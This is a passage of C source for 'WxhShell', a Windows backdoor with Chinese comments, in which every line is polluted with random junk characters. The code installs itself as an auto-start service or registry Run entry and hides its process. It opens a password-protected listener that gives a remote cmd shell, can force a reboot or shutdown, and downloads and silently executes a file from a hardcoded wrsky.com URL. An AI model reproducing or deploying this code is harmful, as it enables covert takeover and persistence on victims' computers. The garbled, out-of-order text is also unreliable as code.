    ExitThread(0); ?!uj8&yyf  
    } <]SI -  
    break; by:"aDGK.  
    } zZhAH('fG  
  // 关机 xT]|78h$   
  case 'd': { Pl>BTo>p'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BE#s@-zR=p  
    if(Boot(SHUTDOWN)) _ $ Wj1h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (i 3=XfZ!C  
    else { fcim4dfP  
    closesocket(wsh); >dr34=(  
    ExitThread(0); r Ljb'\<*  
    } 0LjF$3GpZ  
    break; g }%$VUSA  
    } +K@wh  
  // 获取shell K KCzq |  
  case 's': { {mkD{2)KQ  
    CmdShell(wsh); ,?3)L   
    closesocket(wsh); Oi?+Z:lak  
    ExitThread(0); }[$qn|  
    break; $4*wK@xu  
  }  .# Jusd  
  // 退出 5>S<9A|Q  
  case 'x': { aw3 oG?3I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,>AA2@6zMT  
    CloseIt(wsh); GY%2EM(  
    break; 9On0om>  
    } _#SCjFz  
  // 离开 M<%g)jn_  
  case 'q': { ++m^z` D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lCX*Q{s22  
    closesocket(wsh); )zKZ<;#y  
    WSACleanup(); 4P>4d +  
    exit(1); Dh4 EP/=z  
    break; 'X$J+s}6&  
        } si!jB%^  
  } Qw,{"J  
  } |e]2 >NjQa  
0tFR. sS?  
  // 提示信息 jQV.U~25Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5LkpfmR  
} zFFip/z\  
  } KeGGF]=>  
Os5Xejh`I  
  return; |})7\o  
} >l$qE  
cD6T4  
// shell模块句柄 S, *  
int CmdShell(SOCKET sock) <Rno ;  
{ GY~Q) Z  
STARTUPINFO si; Wf}x"*  
ZeroMemory(&si,sizeof(si)); -(Z%?]+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3jJd)C R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ` 465 H  
PROCESS_INFORMATION ProcessInfo; 2JMMNpya  
char cmdline[]="cmd"; /_?y]Ly[r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1p|h\H  
  return 0; HgY>M`U  
} /Tc I  
|E(`9  
// 自身启动模式 ZDhl$m [m  
int StartFromService(void) JDI1l_Ga  
{ : U Yn  
typedef struct *%(BE*C}  
{ [%1 87dz:D  
  DWORD ExitStatus; 0C,2gcq  
  DWORD PebBaseAddress; M?nYplC  
  DWORD AffinityMask; ,~TV/l<  
  DWORD BasePriority; )M: pg%  
  ULONG UniqueProcessId; s^QXCmb$8  
  ULONG InheritedFromUniqueProcessId; k7R}]hq]""  
}   PROCESS_BASIC_INFORMATION; n6 VX0R  
in[yrqFb7t  
PROCNTQSIP NtQueryInformationProcess; `nvm>u~[Hq  
&y~~Z [.F,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &l<~Xd#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fPj*qi  
9?6]Z ag  
  HANDLE             hProcess; (9A`[TRwi  
  PROCESS_BASIC_INFORMATION pbi; jW!x!8=  
5RUhrE   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5TB==Fj ?  
  if(NULL == hInst ) return 0; ;LhNz()b  
h%0FKi^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,iy;L_N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z'V"nhL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y?}R,5k  
/ Ml d.  
  if (!NtQueryInformationProcess) return 0; 5{.g~3"  
iDdmr32E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =a]B#uUn  
  if(!hProcess) return 0; >(9"D8  
mi>CHa+$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o(|fapK.  
{<k}U;uiO  
  CloseHandle(hProcess); 7XDze(O5  
YZHqy++x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yJMHm8OB7  
if(hProcess==NULL) return 0; IW&.JNcN  
8va&*J? 2  
HMODULE hMod; qbunP!  
char procName[255]; C>0='@LB@r  
unsigned long cbNeeded; L>PPAI  
@XSxoUF\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yrgb6)]nm@  
OM1pyt  
  CloseHandle(hProcess); U*R  
}w%W A&"W  
if(strstr(procName,"services")) return 1; // 以服务启动 sP` k{xG  
$mF(6<w  
  return 0; // 注册表启动  M .J  
} .o_?n.H'&  
eN?:3cP#l  
// 主模块 5"cYZvGkJ  
int StartWxhshell(LPSTR lpCmdLine) >_m4 idq1  
{ RO9oO7S  
  SOCKET wsl; Q&;d7A.@  
BOOL val=TRUE; i(pevu  
  int port=0; |#rP~Nj)  
  struct sockaddr_in door; <zdo%~ba  
J ;e/S6l  
  if(wscfg.ws_autoins) Install(); gL-\@4\wc  
d O'apey  
port=atoi(lpCmdLine); ; ^cc-bLvF  
=w/S{yC  
if(port<=0) port=wscfg.ws_port; S$egsK"~  
uJX(s6["=  
  WSADATA data; tc%0yr9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zt7Gf  
|:{H4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F,l%SQCyj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZR|cZH1}C  
  door.sin_family = AF_INET; (qQ|s@O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |vLlEN/S  
  door.sin_port = htons(port); u}L;/1,B  
A!\-e*+W=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GSh~j-C'  
closesocket(wsl); 4-dV%DgC  
return 1; {k#RWDespy  
} oP0ZJK&;  
-?K?P=B;X  
  if(listen(wsl,2) == INVALID_SOCKET) { ?{bAyh/  
closesocket(wsl); MG G c  
return 1; .^} vDA  
} 4CdST3  
  Wxhshell(wsl); |n_es)A  
  WSACleanup(); ^^m3 11=  
k"V@9q;*  
return 0;  #VA8a=t  
*G,'V,?  
} z#|#Cq`VG  
ncy?w e  
// 以NT服务方式启动 aRh1Q=^@(4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C*f3PB=H_  
{ 'r2VWavT  
DWORD   status = 0; 6IQkP9P(  
  DWORD   specificError = 0xfffffff; JL7"}^  
dAZh# i[  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  XM" {"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gf|qc>j.b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nG dEJ  
  serviceStatus.dwWin32ExitCode     = 0; nYF *f  
  serviceStatus.dwServiceSpecificExitCode = 0; #P''+$5,  
  serviceStatus.dwCheckPoint       = 0; |k-IY]6  
  serviceStatus.dwWaitHint       = 0; :d5f U:  
N+[ |"v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D]h~ \  
  if (hServiceStatusHandle==0) return; = Nd &My  
fjh0Z i45  
status = GetLastError(); ?[ts<Ltp  
  if (status!=NO_ERROR) 1~x=bphS  
{ JnT1-=t.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 52L* :|b  
    serviceStatus.dwCheckPoint       = 0; (6WSQqp  
    serviceStatus.dwWaitHint       = 0; S/XkxGZ2  
    serviceStatus.dwWin32ExitCode     = status; Gw;[maM!%`  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q6r!=yOEY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OGjeE4  
    return; )ZI9n7  
  } UQ ~7,D`=#  
'[6o(~ *  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @fVCGV?'  
  serviceStatus.dwCheckPoint       = 0; {m&8Viq1  
  serviceStatus.dwWaitHint       = 0; ezOZHY>|#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;~>E^0M  
} 96&Y  
i7m=V T  
// 处理NT服务事件,比如:启动、停止 R4R SXV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \40d?N#D  
{ M]Y72K^  
switch(fdwControl) vX'@we7Q{  
{ %ys-y?r  
case SERVICE_CONTROL_STOP: pNHO;N[&  
  serviceStatus.dwWin32ExitCode = 0; >^  E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :cmQ w  
  serviceStatus.dwCheckPoint   = 0; ``:AF:  
  serviceStatus.dwWaitHint     = 0; i~k9s  
  { %Ny`d49&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #xopJaY  
  } ?B&@  
  return; MZ8jL,a^  
case SERVICE_CONTROL_PAUSE: .kGlUb?^Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8-wW?YTG  
  break; y8{PAH8S  
case SERVICE_CONTROL_CONTINUE: 3>`CZ]ip}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wM^_pah#Y5  
  break; X2MQa:yksP  
case SERVICE_CONTROL_INTERROGATE: ? 8d7/KZO  
  break; `y2 6OYo  
}; DM-8azq $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); es` A<  
} n tfwR#j  
Vo\RtM/6{  
// 标准应用程序主函数 p:hzLat~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UI*^$7z1 +  
{ 1Ugyjjlz  
?`nF"u>  
// 获取操作系统版本 eDm~B (G$  
OsIsNt=GetOsVer(); Z(8'ki  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f4s^$Q{Q  
=!G3YZ  
  // 从命令行安装 sh6F-g  
  if(strpbrk(lpCmdLine,"iI")) Install(); $=c79Al(  
tp3>aNj  
  // 下载执行文件 b,U3b})(  
if(wscfg.ws_downexe) { M=n_;3,o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9\/T #EP  
  WinExec(wscfg.ws_filenam,SW_HIDE); @[qGoai  
} Q/%(&4>'y  
EzDj,!!<w  
if(!OsIsNt) { `J>76WN  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;?y*@ *2u  
HideProc(); _d$0(  
StartWxhshell(lpCmdLine); : .-z) C}  
} o|s JTY  
else #L{+V?  
  if(StartFromService()) .Z!!x  
  // 以服务方式启动 RsYn6ozb  
  StartServiceCtrlDispatcher(DispatchTable); +7jr]kP9  
else PC| U]  
  // 普通方式启动 +P7A`{Ae  
  StartWxhshell(lpCmdLine); T41&;?-  
]to"X7/  
return 0; ::y+|V/  
} ]y'/7U+  
e#YQA  
_l&`* 2d  
KUdpOMYX  
=========================================== >+[uV ^2[  
)V^J^1  
.qyk[O  
wp!<u %  
IX7|_ci  
-$(,&qyk  
" ) #/@Jo2F  
|kwkikGQS  
#include <stdio.h> O?8^I<  
#include <string.h> kF9T 9  
#include <windows.h> fb5]eec  
#include <winsock2.h> 7L[HtwI  
#include <winsvc.h> |S5N$[  
#include <urlmon.h> 6?/$K{AI  
<By R!Y  
#pragma comment (lib, "Ws2_32.lib") 8t$a8 PE  
#pragma comment (lib, "urlmon.lib") L%8>deE>;D  
p_$03q>oQ  
#define MAX_USER   100 // 最大客户端连接数 X517PT8O  
#define BUF_SOCK   200 // sock buffer f:k3j}&  
#define KEY_BUFF   255 // 输入 buffer 5#zwd oQ  
g1Q^x/  
#define REBOOT     0   // 重启 G4Zs(:a  
#define SHUTDOWN   1   // 关机 !8"516!d|p  
`0rEV _$  
#define DEF_PORT   5000 // 监听端口 J}7iXTh  
\o^M,yI  
#define REG_LEN     16   // 注册表键长度 eH2.,wY1  
#define SVC_LEN     80   // NT服务名长度 %d+:0.+`n  
IB x?MU#.  
// 从dll定义API k;p:P ?s5Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H1uNlPT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _wWh7'u~G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b;&J2:`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <^&NA<2  
kb?QQ\e  
// wxhshell配置信息 fW Vd[zuD4  
struct WSCFG { VT1W#@`e-  
  int ws_port;         // 监听端口 q P@4KH} e  
  char ws_passstr[REG_LEN]; // 口令 DJeP]  
  int ws_autoins;       // 安装标记, 1=yes 0=no +]Oq{v:e  
  char ws_regname[REG_LEN]; // 注册表键名 o y! W$ ?6  
  char ws_svcname[REG_LEN]; // 服务名 m:<cLc :.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  Xc2Oa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qoBm!|q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 im^G{3z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m :ROq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D"F5-s7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jxL5L[  
Ys10r-kDS  
}; +XU*NAD,!  
NYD#I{h  
// default Wxhshell configuration [{_JO+)+n  
struct WSCFG wscfg={DEF_PORT, 6uQfe? aD  
    "xuhuanlingzhe", yzhr"5_  
    1, o}p6qB=;1  
    "Wxhshell", YJ]]6 K+  
    "Wxhshell", 3OV#H%  
            "WxhShell Service", xW{_c[oA  
    "Wrsky Windows CmdShell Service", ^;B vd!  
    "Please Input Your Password: ", @`U78)]  
  1, w%cd $"EH  
  "http://www.wrsky.com/wxhshell.exe", R|h9ilc  
  "Wxhshell.exe" ]*pALT6  
    }; 65RWaz;|  
MpM-xz~  
// 消息定义模块 "A^9WhUpJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g% :Q86u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GmN} +(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FqiC zP4  
char *msg_ws_ext="\n\rExit."; w}<BO> z  
char *msg_ws_end="\n\rQuit."; \LRno3  
char *msg_ws_boot="\n\rReboot..."; A>^\jIB>  
char *msg_ws_poff="\n\rShutdown..."; i% k`/X;  
char *msg_ws_down="\n\rSave to "; 3|%Q{U  
tv)x(MX  
char *msg_ws_err="\n\rErr!"; v\:>} <gc  
char *msg_ws_ok="\n\rOK!"; >Vc_.dR)E  
:L`  
char ExeFile[MAX_PATH]; KYVB=14  
int nUser = 0; DY?`Y%"  
HANDLE handles[MAX_USER]; ]j0v.[SX  
int OsIsNt; I ms?^`N  
ghJ81  
SERVICE_STATUS       serviceStatus; o"t+G/M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -MoI{3a  
RX:\@c&  
// 函数声明 kRnh20I  
int Install(void); $lci{D32,  
int Uninstall(void); 7ZS 5u+o  
int DownloadFile(char *sURL, SOCKET wsh); M)6_Ta l  
int Boot(int flag); ,T_HE3K  
void HideProc(void); =35^k-VS  
int GetOsVer(void); VB*$lx X  
int Wxhshell(SOCKET wsl); $k*E^~qT  
void TalkWithClient(void *cs); Yd lXMddE  
int CmdShell(SOCKET sock); {Q^P<  
int StartFromService(void); ]*U\ gm%  
int StartWxhshell(LPSTR lpCmdLine); DM{ 7x77  
AV AF!Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q~.\NKc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q4-d2I>0  
qHg\n)R"x!  
// 数据结构和表定义 T30!'F(*,  
SERVICE_TABLE_ENTRY DispatchTable[] = g^"",!J/  
{ mgX0@#wFn  
{wscfg.ws_svcname, NTServiceMain}, #ldNWwvRGj  
{NULL, NULL} ^-PlTmT  
}; (w?@qs!  
^~|P[}  
// 自我安装 _;$VH4(BI  
int Install(void) e2;19bj&  
{ Ua\g*Cxh  
  char svExeFile[MAX_PATH]; 2pH2s\r<UJ  
  HKEY key; 3Z NYR'  
  strcpy(svExeFile,ExeFile); <6U{I '  
.Ff;St  
// 如果是win9x系统,修改注册表设为自启动 7*d}6\ %  
if(!OsIsNt) { R>BI;IcX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cysYjuI i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \TkBV?W  
  RegCloseKey(key); f8_5.vlw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X !NH ?0)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SQWwxFJ  
  RegCloseKey(key); a*6x^R;)  
  return 0; )-#%  
    } *-T3'beg  
  } ()v[@"J  
} A!H6$-W|p  
else { KWCA9.w4q  
i0Qg[%{9#  
// 如果是NT以上系统,安装为系统服务 I<z /Y?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v-Ggf0RF  
if (schSCManager!=0) -#j-Zo+<  
{ =G;whd}]  
  SC_HANDLE schService = CreateService 1\{0z3P  
  ( ' wvZnb  
  schSCManager, G+ Y`65  
  wscfg.ws_svcname,  :D} xT]  
  wscfg.ws_svcdisp, 1[D~Ee p  
  SERVICE_ALL_ACCESS, h&L+Qx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2!cP[ Ck  
  SERVICE_AUTO_START, i;y<gm"  
  SERVICE_ERROR_NORMAL, [zn`vT  
  svExeFile, Vd4x!Vk  
  NULL, ;" '` P[  
  NULL, 0!o&=Qh  
  NULL, =B4mi.;@i  
  NULL, Xl;u  
  NULL $T tCVR  
  ); N-]h+Cnyu  
  if (schService!=0) x&+/da-E/5  
  { X8<<;?L  
  CloseServiceHandle(schService); b)(#/}jMkD  
  CloseServiceHandle(schSCManager); @G^]kDFM{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  r75,mX  
  strcat(svExeFile,wscfg.ws_svcname); {6~v oVkj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C^K?"800  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <w+K$WE {  
  RegCloseKey(key); HGs.v}@&  
  return 0; v0jRoE#  
    } 4&!`Yi_1L  
  } }I}RqD:`  
  CloseServiceHandle(schSCManager); x,@cU}D  
} Jj*XnL*  
} ,;y 5Mu8  
hZVF72D26  
return 1; vi["G7  
} .AH#D}m  
;t:B:4r(j  
// 自我卸载 "639oB  
int Uninstall(void) ?lnX."eAdB  
{ us"SM\X#  
  HKEY key; uNxR#S  
xV}E3Yj2#  
if(!OsIsNt) { !3v!BJ#+,&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qm4 Ejc<  
  RegDeleteValue(key,wscfg.ws_regname); ;yqJEj_m(  
  RegCloseKey(key); Z 3m5DK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D0v!fF ~  
  RegDeleteValue(key,wscfg.ws_regname); qi;@A-cq  
  RegCloseKey(key); Pan^@B=Q  
  return 0; he8y  
  } q!$ZBw-7>A  
} m!er "0  
} pi q%b]  
else { I?lQN$A.E  
aDm$^yP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,jQkR^]j-  
if (schSCManager!=0) -1Yt3M&  
{ j0>S)Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 15 x~[?!  
  if (schService!=0) d2&sl(O  
  { `][~0\Y3m  
  if(DeleteService(schService)!=0) { 6vQAeuz<Fq  
  CloseServiceHandle(schService); KVvIo1$N  
  CloseServiceHandle(schSCManager); O`g44LW2n  
  return 0; i{I'+%~R  
  } *Tl"~)'t~  
  CloseServiceHandle(schService); -d[9mS  
  } 2BS2$#c>  
  CloseServiceHandle(schSCManager); S)C =Q~&  
} T12?'JL^r  
} z `T<g!Y  
dz5a! e [  
return 1; "S(m1L?  
} w[I%Id;E  
8|.( Y  
// 从指定url下载文件 v:PNt#Ta  
int DownloadFile(char *sURL, SOCKET wsh) (^ZC8)0i(  
{ aAh")B2  
  HRESULT hr; c|X.&<lX  
char seps[]= "/"; q@~N?$>  
char *token; 57Y(_h:  
char *file; :iD( [V  
char myURL[MAX_PATH]; y)t< r  
char myFILE[MAX_PATH]; yd]W',c  
_*0!6?c  
strcpy(myURL,sURL); w{#K.dx  
  token=strtok(myURL,seps); F2:+i#lE  
  while(token!=NULL) )a .w4dH  
  { ;26a8g(  
    file=token; O(!J^J3_z  
  token=strtok(NULL,seps); 36,qh.LKn  
  } (~?P7RnU%  
@`G_6 <.`  
GetCurrentDirectory(MAX_PATH,myFILE); -PbGNF  
strcat(myFILE, "\\"); afqLTWU S  
strcat(myFILE, file); 1 y$Bz?4  
  send(wsh,myFILE,strlen(myFILE),0); =SA@3)kHH  
send(wsh,"...",3,0); IVzJ|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,@tY D(Z  
  if(hr==S_OK) \m1r(*Ar  
return 0; A7>0Pn%D3  
else 3Ew-Ia%A  
return 1; *>n<7T0  
)}\jbh>RH  
} ;hA>?o_i(  
yw41/jHF  
// 系统电源模块 s 4Lqam!  
int Boot(int flag) E)H: L-  
{ $xNM^O  
  HANDLE hToken; iK#5HW{  
  TOKEN_PRIVILEGES tkp; JBtcl# |  
\`;FL\1+W  
  if(OsIsNt) { K{B[(](  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  ]hpocr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3kx/Q#  
    tkp.PrivilegeCount = 1; i=OPl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |!euty ::  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6AKH0t|4  
if(flag==REBOOT) { u3(zixb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q@6OIE  
  return 0; ~'m GGH2  
} PCF!Y(l  
else { B4bC6$Lg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *>h"}e41  
  return 0; p 2It/O  
} wqx@/--E(  
  } 8G; t[9  
  else { ?DzKqsS'  
if(flag==REBOOT) { x* *]@v"g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GKu@8Ol-wu  
  return 0; }OZ%U2PU  
} \< <u  
else { 7pH(_-TF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6T! *YrS  
  return 0; AWsO? |YT  
} jq yqOhb4  
} mjO4GpG3  
v]& )+0  
return 1; |&eZ[Sy(=l  
} bq/ m?;  
TCYjj:/  
// win9x进程隐藏模块 X|^E+ `M4  
void HideProc(void) ,+-l1GpL  
{ 8u Tq0d6(  
? acm5dN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =kH7   
  if ( hKernel != NULL ) DygMavA.  
  { Q*&>Ui[&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s%z\szd*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A&*lb7X  
    FreeLibrary(hKernel); ()e.J  
  } +dq&9N/  
];i-d7C  
return; ) (unL`y  
} fDt#<f 4;  
6My=GByC  
// 获取操作系统版本 xy)Y)yp  
int GetOsVer(void) u&yAMWl  
{ qgg/_H:;w  
  OSVERSIONINFO winfo; nd*9vxM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 23?\jw3w  
  GetVersionEx(&winfo); T4dLuJl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k FE2Vv4.  
  return 1; uCO-f<b  
  else <aR9,:  
  return 0; u>o<u a p  
} s\y+ xa:  
Z 6KM%R  
// 客户端句柄模块 GjN/8>/  
int Wxhshell(SOCKET wsl) @[h)M3DFd  
{ Wj.f$U 4  
  SOCKET wsh; >a7OE=K  
  struct sockaddr_in client; 8dgI&t  
  DWORD myID; /?uA{/8  
JJ`RF   
  while(nUser<MAX_USER) FDBj<uXfM|  
{ ts%XjCN[  
  int nSize=sizeof(client); 7s@%LS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WP[h@#7<  
  if(wsh==INVALID_SOCKET) return 1; 4>eY/~odq]  
!)gTS5Rh:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6$$4!R-  
if(handles[nUser]==0) c<-F_+[  
  closesocket(wsh); 11t+ a,fM  
else .RF ijr  
  nUser++; Gx /sJ(  
  } _^K)>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IaMZPl  
XgL-t~_  
  return 0; jkCa2!WQ'i  
} C^9G \s'  
c-3-,pyM_T  
// 关闭 socket Ks'msSMC  
void CloseIt(SOCKET wsh) reseu*5  
{ dz@L}b*  
closesocket(wsh); jo-jPYH T  
nUser--; #^%HJp^  
ExitThread(0); h6J0b_3h4  
} M"# >?6{  
x&}pM}ea  
// 客户端请求句柄 8CCd6)cG  
void TalkWithClient(void *cs) ]."~)  
{ P`r@<cgb=  
#tX\m ;  
  SOCKET wsh=(SOCKET)cs; =v^LShD2^  
  char pwd[SVC_LEN]; %+Hhe]J ld  
  char cmd[KEY_BUFF]; c6/+Ye =h  
char chr[1]; Wy1#K)LRb  
int i,j; &Ui*w%  
IxN0m7  
  while (nUser < MAX_USER) { _2uRY  
!bs{/?  
if(wscfg.ws_passstr) { V&nTf100  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .m%/JquMFM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RhwqAok|lj  
  //ZeroMemory(pwd,KEY_BUFF); U9^o"vT  
      i=0; z}?*1c  
  while(i<SVC_LEN) { t8SvU  
]^aOYtKX  
  // 设置超时 /zxLnT; 5  
  fd_set FdRead; dJyf.VJ  
  struct timeval TimeOut; X*f#S:kiNU  
  FD_ZERO(&FdRead); C>l{_J)n  
  FD_SET(wsh,&FdRead); ' cM2]<  
  TimeOut.tv_sec=8; Nl"Xl?y}  
  TimeOut.tv_usec=0; ;MRK*sfw{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =AEl:SY+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .quui\I3  
obA}SF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cka&b  
  pwd=chr[0]; .*N]SbU<8  
  if(chr[0]==0xd || chr[0]==0xa) { t!}QG"ma  
  pwd=0; #?=?<"*j  
  break; +c4-7/kE  
  } q8&2M  
  i++; f3_-{<FZ  
    } [I6(;lq2  
~)J]`el,Q  
  // 如果是非法用户,关闭 socket R(YhVW_l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |#_IAN  
} Tfasry9'8  
hF m_`J&"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M"XILNV-~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); poLzgd  
G@$Y6To[  
while(1) { 4wLN#dpeEy  
iYbp^iVg  
  ZeroMemory(cmd,KEY_BUFF); NMaZ+g!t(  
BY*{j&^  
      // 自动支持客户端 telnet标准   $H\[yg>4  
  j=0; PSCzeR  
  while(j<KEY_BUFF) { 6(#fGH&[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RP!!6A6:  
  cmd[j]=chr[0]; #fB&Hv #s7  
  if(chr[0]==0xa || chr[0]==0xd) { U(xN}Y ?  
  cmd[j]=0; RLy2d'DS  
  break; 0}LB nV  
  } q47>RWMh%  
  j++; !4;A"B(  
    } +M )ep\j  
(L`7-6e(Ab  
  // 下载文件 18`YY\u(  
  if(strstr(cmd,"http://")) { ?E>(zV1D/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VkFvV><"  
  if(DownloadFile(cmd,wsh)) MTnW5W-r9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #6g9@tE  
  else >z{*>i,m1  
